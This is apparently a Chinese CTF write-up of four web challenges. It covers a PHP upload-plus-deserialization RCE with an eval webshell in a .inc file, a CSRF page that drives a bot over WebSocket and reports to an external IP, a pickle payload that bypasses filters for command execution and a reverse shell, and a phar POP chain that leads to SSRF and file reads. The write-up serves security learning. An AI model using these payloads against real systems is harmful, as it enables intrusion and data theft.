rcefile php写的后端 要求使用文件上传+反序列化实现RCE
cookie中有序列化的userfile字段来表示用户已经上传的文件,那应该要先想办法通过文件读取的功能读取到源代码,然后再考虑如何结合反序列化实现RCE。
源码在 www.zip
主要流程就是3个能访问的php文件都是引入了config.inc.php这个文件,config.inc.php这个文件会将cookie中的userfile反序列化,在访问showfile.php时就会根据反序列化后的内容渲染在页面上。而upload.php中对上传文件内容做了过滤,并且对于能够符合条件的文件以md5时间为文件名存储。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $file = $_FILES ["file" ];if ($file ["error" ] == 0 ) { if ($_FILES ["file" ]['size' ] > 0 && $_FILES ["file" ]['size' ] < 102400 ) { $typeArr = explode ("/" , $file ["type" ]); $imgType = array ("png" ,"jpg" ,"jpeg" ); if (!$typeArr [0 ]== "image" | !in_array ($typeArr [1 ], $imgType )){ exit ("type error" ); } $blackext = ["php" , "php5" , "php3" , "html" , "swf" , "htm" ,"phtml" ]; $filearray = pathinfo ($file ["name" ]); $ext = $filearray ["extension" ]; if (in_array ($ext , $blackext )) { exit ("extension error" ); } $imgname = md5 (time ())."." .$ext ; if (move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"./" .$imgname )) { array_push ($userfile , $imgname ); setcookie ("userfile" , serialize ($userfile ), time () + 3600 *10 ); $msg = e ("file: {$imgname} " ); echo $msg ; } else { echo "upload failed!" ; } } }else { exit ("error" ); }
比赛时候感觉没有魔法方法感觉很奇怪,这怎么打反序列化利用呢,虽然可以通过修改http请求来上传任意后缀内容的文件,但是.htacess是会被重命名的所以当时没有想到办法。
赛后看wp发现关键是config.inc.php 文件中的 spl_autoload_register() 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php spl_autoload_register ();error_reporting (0 );function e ($str ) { return htmlspecialchars ($str ); } $userfile = empty ($_COOKIE ["userfile" ]) ? [] : unserialize ($_COOKIE ["userfile" ]);?> <p> <a href="/index.php" >Index</a> <a href="/showfile.php" >files</a> </p>
当spl_autoload_register()不指定处理用的函数,就会自动包含.php
或.inc
的文件,并加载其中的文件名
类,而且黑名单中也没有.inc
,所以上传内容为<?php phpinfo();eval($_POST[evil]);?>
的inc文件,上传后服务端会存放xxxx.inc
,将xxxx
反序列化后放在Cookie中,就可以实现RCE了。
babyweb 这是一个csrf的题目,当时就其实payload是对的但是第一次没打通以为是有什么问题,结果赛后一看别的师傅的wp发现一模一样,挺离谱的。将恶意页面放在服务器上面,让bot去访问,就可以伪装bot发给服务端修改密码请求,改密码后就可以登陆成功了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!doctype html > <html > <head > </head > <body > <script > var url = "ws://127.0.0.1:8888/bot" var ws = new WebSocket (url) ws.onopen = e => { ws.send ("changepw 111222333" ) window .location = "http://101.34.253.123:60012/connect" } ws.onerror = e => { window .location = "http://101.34.253.123:60012/connection_error" } ws.onmessage = function (ev ) { window .location = "http://101.34.253.123:60012/msg_" +ev.data } ws.onclose = e => { window .location = "http://101.34.253.123:60012/conection_close" } </script > </body > </html >
登陆上去后的部分就是看别人wp了,毕竟也没有开源题目。考察的是由于python和go对于json的解释器不同,写两个num并且第一个num改为负数就可以成功绕过限制。
crash 这个题目当时一直不懂flag在504页面是什么意思,只知道是打pickle反序列化,但是又很奇怪为什么会有os.system("rm -rf *py*")
这样一句删光.py文件的语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import base64import picklefrom flask import Flask, make_response,request, sessionimport adminimport randomapp = Flask(__name__,static_url_path='' ) app.secret_key=random.randbytes(12 ) class User : def __init__ (self, username,password ): self.username=username self.token=hash (password) def get_password (username ): if username=="admin" : return admin.secret else : return session.get("password" ) @app.route('/balancer' , methods=['GET' , 'POST' ] ) def flag (): pickle_data=base64.b64decode(request.cookies.get("userdata" )) if b'R' in pickle_data or b"secret" in pickle_data: return "You damm hacker!" os.system("rm -rf *py*" ) userdata=pickle.loads(pickle_data) if userdata.token!=hash (get_password(userdata.username)): return "Login First" if userdata.username=='admin' : return "Welcome admin, here is your next challenge!" return "You're not admin!" @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): resp = make_response("success" ) session["password" ]=request.values.get("password" ) resp.set_cookie("userdata" , base64.b64encode(pickle.dumps(User(request.values.get("username" ),request.values.get("password" )),2 )), max_age=3600 ) return resp @app.route('/' , methods=['GET' , 'POST' ] ) def index (): return open ('source.txt' ,"r" ).read() if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
第一步应该是想办法让解析cookie出来的userdata.username=’admin’,考虑pickle rce。
cookie中有两个字段,userdata是User对象用pickle序列化后的字节码再base64编码的,session是password,但是并不能直接伪造一个userdata,因为通过username和hash(password)来检验身份,而我们并不知道admin这个username对应的password。本地调试了一下,默认的用户username和password都是none。
首先是绕过’R和secret的限制,参考文章https://zhuanlan.zhihu.com/p/361349643
1 2 3 4 b'''cos system (S'command' tR.'''
base64编码后替换cookie中的userdata,再访问/balancer接口就可以实现rce,反弹shell。 这里因为有os.system("rm -rf *py*")
,而flag会在504页面返回,因此需要自己写一个flask服务并且写一句time.sleep延时,替换掉原本目录下的flask服务,再访问就会认为服务端504了给出flag了,不过这里有一点还没想明白的就是如果正常访问/balancer接口,不会触发os.system(“rm -rf py “)而导致服务崩溃么…
easyweb 有文件上传和读取文件功能,通过GET请求传入fname参数,通过phar协议访问上传的phar文件,来通过反序列化AdminShow
类的Show函数实现ssrf,访问本地机器文件。
可以通过任意文件读取/showfile.php?f=../demo.png/../../../../../../../../../../../../etc/passwd
读取源码
参考其他师傅的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class Upload { public $file ; public $filesize ; public $date ; public $tmp ; } class GuestShow { public $file ; public $contents ; } class AdminShow { public $source ; public $str ; public $filter ; } $guest = new GuestShow ();$guest1 = new GuestShow ();$upload = new Upload ();$upload1 = new Upload ();$upload2 = new Upload ();$admin = new AdminShow ();$admin1 = new AdminShow ();$guest ->file = $upload ;$upload ->tmp = $admin ;$admin ->str[0 ] = $upload1 ;$admin ->str[1 ] = $upload2 ;$upload1 ->filesize = $admin1 ;$upload1 ->date = "http://10.10.10.10/?url=file:///flag" ;$upload2 ->filesize = $admin1 ;$upload2 ->date = "" ;$upload2 ->tmp = $guest1 ;$guest1 ->file = $admin1 ;@unlink ("phar.phar" ); $phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($guest ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
通过Show()函数实现ssrf后,可以从/proc/net/arp获取内网的ip地址。可惜题目环境下线了,那只能看一看Wp了就没法直接复现了。
访问10.10.10.10后,可以获取源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );if (isset ($_GET ['url' ])){ $link = $_GET ['url' ]; $curlobj = curl_init (); curl_setopt ($curlobj , CURLOPT_POST, 0 ); curl_setopt ($curlobj ,CURLOPT_URL,$link ); curl_setopt ($curlobj , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($curlobj ); curl_close ($curlobj ); echo $result ; } if ($_SERVER ['REMOTE_ADDR' ]==='10.10.10.101' ||$_SERVER ['REMOTE_ADDR' ]==='100.100.100.101' ){ system ('cat /flag' ); die (); } ?>
又存在ssrf,那么传入http://10.10.10.10/?url=file:///flag
,可以通过file协议来读取flag文件。